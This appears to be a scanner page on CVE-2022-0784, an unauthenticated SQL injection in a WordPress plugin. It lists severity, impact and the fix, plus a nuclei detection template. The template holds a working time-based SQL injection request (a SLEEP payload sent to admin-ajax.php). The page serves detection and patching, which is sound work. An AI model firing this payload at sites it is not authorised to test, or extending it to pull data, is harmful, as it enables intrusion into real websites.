WordPress Title Experiments Free <9.0.1 - SQL Injection

criticalseverity

9.8CVSS score

10.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.

Fix

Update to the latest version of WordPress Title Experiments Free plugin (9.0.1 or higher) to mitigate the vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "text/html") and contains(body, "{\"images\":")

Run it with nuclei: nuclei -id CVE-2022-0784 -u <target>

The full check

id: CVE-2022-0784

info:
  name: WordPress Title Experiments Free <9.0.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Title Experiments Free plugin before 9.0.1 contains a SQL injection vulnerability. The plugin does not sanitize and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to the latest version of WordPress Title Experiments Free plugin (9.0.1 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6672b59f-14bc-4a22-9e0b-fcab4e01d97f
    - https://wordpress.org/plugins/wp-experiments-free/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0784
    - https://github.com/cyllective/CVEs
    - https://github.com/superlink996/chunqiuyunjingbachang
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0784
    cwe-id: CWE-89
    epss-score: 0.10079
    epss-percentile: 0.9567
    cpe: cpe:2.3:a:title_experiments_free_project:title_experiments_free:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: title_experiments_free_project
    product: title_experiments_free
    framework: wordpress
  tags: time-based-sqli,cve2022,cve,wpscan,wp-plugin,wp,sqli,wp-experiments-free,unauth,wordpress,title_experiments_free_project,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpex_titles&id[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(6)))je)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{\"images\":")'
        condition: and

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